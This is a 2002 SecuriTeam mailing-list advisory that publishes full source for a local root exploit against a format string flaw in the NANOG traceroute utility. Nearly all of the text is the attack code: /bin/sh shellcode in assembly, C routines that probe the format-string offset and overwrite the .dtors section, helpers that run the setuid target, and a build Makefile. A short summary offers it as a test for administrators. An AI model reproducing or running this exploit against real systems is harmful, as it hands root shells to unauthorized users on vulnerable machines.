[EXPL] Nanog Traceroute Format String Exploit

From: support@securiteam.com
Date: 07/22/02


From: support@securiteam.com
To: list@securiteam.com
Date: Mon, 22 Jul 2002 18:17:21 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

When was the last time you checked your server's security?
How about a monthly report?
http://www.AutomatedScanning.com - Know that you're safe.
- - - - - - - - -

  Nanog Traceroute Format String Exploit
------------------------------------------------------------------------

SUMMARY

The following is an exploit for our previously published format string
vulnerability in the traceroute utility. This exploit can be used by
administrator to test their system for the mentioned vulnerability.

DETAILS

Exploit code:
execve3.S:
/* /bin/sh shellcode for linux IA32 */
/* spacewalker@minithins.net */
data
globl execve_shellcode
execve_shellcode:
xor %eax,%eax
mov $23,%al
xor %ebx,%ebx
int $0x80
xor %eax,%eax
push %eax
mov %esp,%edx
push $0x68732f6e
push $0x69622f2f
mov %esp,%ebx
push %eax
push %ebx
mov %esp,%ecx
mov $11, %al
int $0x80
/* To signal the end of the shellcode */
string ""

exp.h:
long get_dtor_addr(char *);
int test_format(char *,char *);
int exploit_format(char *,char *);
extern char **execve_shellcode;

main.c:
/* This is part of published source code from CNS */
/* (c)2002 CNS (www.minithins.net) */
/* Code from Spacewalker */
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <string.h>
#include <time.h>
#include "exp.h"
extern char **environ;
#define BUFFERLEN 31 /* Size of the -T buffer */
#define MAXADDRLEN 20 /* size of the addr array */
#define DEFAULT_HOST "localhost" /* traceroute localhost always works*/
#define DEFAULT_TARGET
"/home/spacewalker/traceroute-nanog-6.0.orig/traceroute"
#define TESTADDRS "AAAABBBB"

/* Global vars. Ugly but works */
char *host=DEFAULT_HOST;
char *target=DEFAULT_TARGET;
char *shellcode;
int verbose=0;
int insaneverbose=0;
int distance=1;
int align=0;
int switched=0;
int pleasewait=0;
unsigned long retloc;
int offset=50;
int nopnum=100;
int strref(char *begin,char *end, char caractere){
  register int i=0;
  for(;begin<=end;begin++){
    if((*begin==caractere))
      i++;
    if(*begin==0)
      break;
    }
  return i;
  }
char *execute(char *format,char *addresses){
  int fd;
  char buffer[1024];
  int lus;
  char *retbuffer;
  char *ptr;
  fd=test_format(format,addresses);
  wait(NULL);
  lus=read(fd,buffer,1023);
  close(fd);
  if(lus<=0){
    printf("Error while reading\n");
    perror("read");
    exit(-1);
    }
  buffer[lus]=0;
  ptr=strchr(buffer,'|');
  if(ptr==NULL){
    printf("*** no | in the format ???\n*** %s\n",buffer);
    exit(-1);
    }
  *(strrchr(ptr,'|') + 1 )=0;

  if(*ptr==0){
    printf("*** our format is broken.\n");
    exit(-1);
    }
  retbuffer=malloc(strlen(ptr)+1);
  strcpy(retbuffer,ptr);
  return retbuffer;
  }
char *do_format(unsigned long retaddr){
  unsigned short writed=0;
  unsigned short towrite;
  unsigned long tmp;
  int i=0,j=0;
  char *format;
  char buffer[32];
  format=malloc(50);
  bzero(format,50);
  buffer[0]=0;
  if( ((retaddr & 0x0000ffff)) > (retaddr>>16)){
    if(verbose)
      printf("*** switching high and low values for the %%hn : "
      "%.8lx \n", retaddr);
    tmp=(long)(retaddr&0x0000ffff);
    
    retaddr=(long)(retaddr>>16)|(tmp<<16);
    switched=1;
    }
  for(i=0;i<2;i++){
    bzero(buffer,32);
    towrite=(short) (((long)((long)retaddr & (long) 0xffff)-writed));
    if(insaneverbose)
      printf("to write : %hu ; writed : %hu ; address :
%.8lx\n",towrite,writed,retaddr);
    if(towrite<8){
      for(j=0;j<towrite;j++)
        strcat(buffer,"A");
      }
    else {
    sprintf(buffer,"%%.%dx",towrite);
    }
    if(insaneverbose)
      printf("%s\n",buffer);
    strcat(format,buffer);
    sprintf(buffer,"%%%d$hn",distance+i);
    strcat(format,buffer);
    retaddr=retaddr>>16;
    writed=towrite;
    }
  return format;
    
  }
int exploit(){
  char *format=do_format((long)shellcode+offset);
  char addrbuf[25];
  long *longaddr;
  int i;
  strcat(format,"\n");
  while(strlen(format)<BUFFERLEN)
      strcat(format," ");
  format[BUFFERLEN]=0;
  if(verbose)
    printf("**** format string %s\n",format);
  bzero(addrbuf,25);
  for(i=0;i<align;i++)
    strcat(addrbuf,"A");
  longaddr=(long *)&addrbuf[align];
  if(switched==0){
    longaddr[0]=retloc;
    longaddr[1]=retloc+2;
    }
  else {
  longaddr[0]=retloc+2;
  longaddr[1]=retloc;
    }
  longaddr[2]=0;
  while(strlen(addrbuf)<MAXADDRLEN)
    strcat(addrbuf," ");
  printf("*** Prepare to get your root shell...\n");
  if(pleasewait){
    printf("Please press a key to launch the exploit\n");
    getchar();
    }
  exploit_format(format,addrbuf);
  return 0;
  }
int find_distance(){ /* We have the hard, loudy, task to find the
distance.*/
  char firsttest[25];
  char buffer[64];
  char *response;
  char *ptr;
  int i;
  if(verbose)
    printf("\n");
  else
    putchar(';');
  fflush(stdout);
  srand(time(NULL));
  while(1){
    if(!verbose)
      {
        if(random()%2)
          putchar('P');
        else
          putchar('p');
      fflush(stdout);
      }
    distance+=4;
    
sprintf(buffer,"|%%%d$x|%%%d$x|%%%d$x|%%%d$x|",distance,distance+1,distance+2,distance+3);
    while(strlen(buffer)<BUFFERLEN)
      strcat(buffer," ");
    bzero(firsttest,25);
    for(i=0;i<align;i++)
      strcat(firsttest,"Z");
    strcat(firsttest,TESTADDRS);
    while(strlen(firsttest)<MAXADDRLEN)
      strcat(firsttest," ");
    if(verbose)
      printf("Testing %s\n",buffer);
    response=execute(buffer,firsttest);
    if(insaneverbose)
      printf("%s\n",response);
    if((ptr=strstr(response,"|41414141|"))){
      distance+=strref(response,ptr,'|')-1;
      if(!verbose)
        putchar('\n');
      printf("*** Found at %d align %d\n",distance,align);
      free(response);
      return 0;
      }
    if(strstr(response,"|414141")){
      distance -=4;
      align+=3;
      }
    else if (strstr(response,"414141|")){
      distance -=4;
      align+=1;
      }
    else if( (strstr(response,"|4141"))||(strstr(response,"4141|"))){
      distance -=4;
      align+=2;
      }
    free(response);
    }
  return 0;
  }
  
int usage(){
  printf("Usage : ./tracertexp [-h host] [-t target] [-n nopnum] [-o
offset] [-w] [-v] [-vv]\n");
  printf("host : host the traceroute should trace. Default :
%s\n",DEFAULT_HOST);
  printf("target : binary to exploit. Default : %s\n",DEFAULT_TARGET);
  printf("offset : offset for the shellcode.\n");
  printf("nopnum : force the number of nops\n");
  printf("v : verbose ; vv : insane verbose (for debugging)\n");
  printf("w : wait a keypress before launching exploit\n");
  exit(-1);
  }

int exploitable(){
  struct stat buffer;
  int ok=1;
  int fd;
  char readbuf[1024];
  int lus;
  if(lstat(target,&buffer)){
    perror(target);
    usage();
    exit(-1);
    }
  if( (buffer.st_mode & S_ISUID)==0){
    printf("*** bad : %s is not suid\n",target);
    ok=0;
    }
  if(buffer.st_uid != 0){
    printf("*** bad : %s not owned by rewt\n",target);
    ok=0;
    }
  if((buffer.st_mode & S_IXOTH)==0){
    printf("*** bad : %s is not world executable\n",target);
    ok=0; /* Assume we are other, of course */
    }
  if((buffer.st_mode & S_IROTH)==0){
    printf("*** bad : %s is not world readable\n",target);
    ok=0; /* assume too we are world */
    }
  if(ok)
    printf("*** good : File permissions look fine\n");
  retloc=get_dtor_addr(target);
  if(retloc==0){
    printf("Error getting .dtors address\n");
    exit(-1);
    }
  if(verbose)
    printf("*** found retloc : 0x%.8lx\n",retloc);
  fd=test_format("||||%x%x%x%x","traceroute");
  wait(NULL);
  lus=read(fd,readbuf,1023);
  close(fd);
  if(lus<=0){
    printf("*** fatal : short read\n");
    exit(-1);
    }
  readbuf[lus]=0;
  if(insaneverbose)
    printf("*** result of first try : %s\n",readbuf);
  if(strstr(readbuf,"%x%x%x%x%x")){
    printf("*** fatal : This version is patched\n");
    exit(-1);
    }
  if(!strstr(readbuf,"||||")){
    printf("*** fatal : could not see existence of our format\n");
    exit(-1);
    }
  printf("*** well, vulnerable :-)\n");
  shellcode=getenv("SHELLCODE");
  if(shellcode==NULL){
    printf("*** Where is the var $SHELLCODE ???\n");
    exit(-1);
    }
  return 0;
  }
int parse_options(int argc,char **argv){
  int i;
  while((i=getopt(argc,argv,"n:o:wvh:t:"))!= -1){
  switch (i){
    case 'n':
      nopnum=atoi(optarg);
      break;
    case 'o':
      offset=atoi(optarg);
      break;
      
    case 'w':
      pleasewait=1;
      break;
    case 'v':
      if(verbose)
        insaneverbose=1;
      else
        verbose=1;
      break;
    case 't':
      target=optarg;
      break;
    case 'h':
      host=optarg;
      break;
    default:
    usage();
    }
  }
  return 0;
  }
      
char *get_shellcode(){
  char *shell;
  shell=malloc(nopnum+strlen((char *)&execve_shellcode)+10);
  memset(shell,nopnum,0x90);
  strcpy((char *)&shell[nopnum],(char *)&execve_shellcode);
  return shell;
  }
int main(int argc,char **argv){
if(getenv("SHELLCODE")==NULL){
  setenv("SHELLCODE",get_shellcode(),1);
  execve(argv[0],argv,environ);
  printf("Error re-launching %s ???\n",argv[0]);
  exit(-1);
  }
printf("L33t 6.0 GOLD: TrACESroute local root exploit\n");
printf("(c)2002 CNS/minithins, public release\n");
parse_options(argc,argv);
printf("Step 1 : Looking if exploitable\n");
exploitable();
printf("Step 2 : Finding the distance... : ");
find_distance();
printf("Step 3 : Exploitation...\n");
exploit();
return 0;
}

Makefile:
CFLAGS= -g -O2 -Wall

OBJECTS= main.o popen.o execve3.o
TARGET= tracertexp
all: $(TARGET)
  @echo "done"
  @echo "./tracertexp and hope the force is with you"
$(TARGET): $(OBJECTS)
  gcc -o $(TARGET) $(OBJECTS)
clean:
  rm -f $(OBJECTS) $(TARGET) *.c~ Makefile~ *.h~ *.S~

popen.c:
/* This is part of published source code from CNS */
/* (c)2002 CNS (www.minithins.net) */
/* Code from Spacewalker */
#include <signal.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/wait.h>
#include <string.h>
#include "exp.h"

extern char *target;
extern char *host;
extern char **environ;
int exploit_format(char *format,char *progname){
  char *args[7];
  args[0]=progname;
  args[1]="-q";
  args[2]="1";
  args[3]="-T";
  args[4]=format;
  args[5]=host;
  args[6]=NULL;
  execve(target,args,environ);
  fprintf(stderr,"Sorry, Exploitation attempt failled.\n");
  exit(-1);
    }
  
int test_format(char *format,char *progname){
  int tubes[2];
// char buffer[128];
  char *args[7];
  int pid;
  args[0]=progname;
  args[1]="-q";
  args[2]="1";
  args[3]="-T";
  args[4]=format;
  args[5]=host;
  args[6]=NULL;
  pipe(tubes);
  pid=fork();
  if (pid==0){
    close(2); /* stderr much too noisy */
    close(tubes[0]); /* close the input pipe */
    dup2(tubes[1],STDOUT_FILENO);
    execve(target,args,environ);
    //fprintf(stderr,"error executing %s\n",target);
    exit(-1);
    }
  close(tubes[1]);
  return tubes[0];
  }
  
int my_popen(char *command){
  char *args[]={"/bin/sh","-c",command,NULL};
  int inpipes[2];
  int uid;
  pipe(inpipes);
  uid=fork();
  if(uid==0){
    close(inpipes[0]); // stdin
    dup2(inpipes[1],1); // stdout
    execve("/bin/sh",args,environ);
    fprintf(stderr,"Something went wrong with the execve\n");
    return -1;
  }
  close(inpipes[1]);
  return inpipes[0];
}

long get_dtor_addr(char *file){
  int fd;
  long got;
  char buffer[256];
  snprintf(buffer,256,"objdump -j .dtors -s %s | tail -n 1",file);
  //remove_chld_signal();
  fd=my_popen(buffer);
  if(fd <= 0)
    return -1;
  if (read(fd,buffer,256)<=0){
    printf("short read\n");
    return 0;
  }
  close(fd);
  wait(NULL);
  got=strtoul(buffer,(char **)strchr(buffer,' '),16);
  got +=4;
  return got;
}

ADDITIONAL INFORMATION

The information has been provided by <mailto:spacewalker@minithins.net>
SpaceWalker.

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



Relevant Pages